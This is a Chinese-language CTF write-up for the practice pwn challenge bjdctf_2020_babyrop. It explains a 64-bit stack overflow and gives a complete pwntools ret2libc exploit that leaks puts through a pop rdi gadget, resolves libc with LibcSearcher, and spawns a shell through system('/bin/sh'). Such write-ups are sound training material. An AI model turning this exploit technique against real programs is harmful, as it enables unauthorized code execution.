526互联

bjdctf_2020_babyrop

发布时间 2023-12-30 23:51:55作者: bamuwe

bjdctf_2020_babyrop

image-20231229193724690

  • 64位泄露libc

  • vuln的buf变量存在溢出

  • 64位函数传入的参数依次存在寄存器rdi,rsi,rdx (顺序从左到右),返回值存在rax中

    bamuwe@qianenzhao:~/done/bjdctf_2020_babyrop$ ROPgadget --binary bjdctf_2020_babyrop --only 'pop|ret'|grep rdi
0x0000000000400733 : pop rdi ; ret
    1. 溢出泄露libc
    2. 构造payload拿到shell
rbp
padding 0x20
leave 0x8
pop_rdi ret 0x0000000000400733
puts_got pop rdi
puts_plt ret
main_addr ret

payload1

rbp
padding 0x20
leave 0x8
pop_rdi ret 0x0000000000400733
/bin/sh` pop rdi
system ret

payload2

from pwn import *
from LibcSearcher import LibcSearcher
io = process('./bjdctf_2020_babyrop')
#io = remote('node4.buuoj.cn',29488)
elf = ELF('./bjdctf_2020_babyrop')
payload1 = b'A'*0x28+p64(0x0000000000400733)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['main'])
io.sendlineafter(b'Pull up your sword and tell me u story!\n',payload1)
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
print('puts_addr->',hex(puts_addr))

Lib = LibcSearcher('puts',puts_addr)
baseoffset = puts_addr - Lib.dump('puts')
sys_addr = baseoffset + Lib.dump('system')
bin_sh_addr = baseoffset + Lib.dump('str_bin_sh')

payload2 = b'A'*0x28+p64(0x0000000000400733)+p64(bin_sh_addr)+p64(sys_addr)
io.sendlineafter(b'Pull up your sword and tell me u story!\n',payload2)
io.interactive()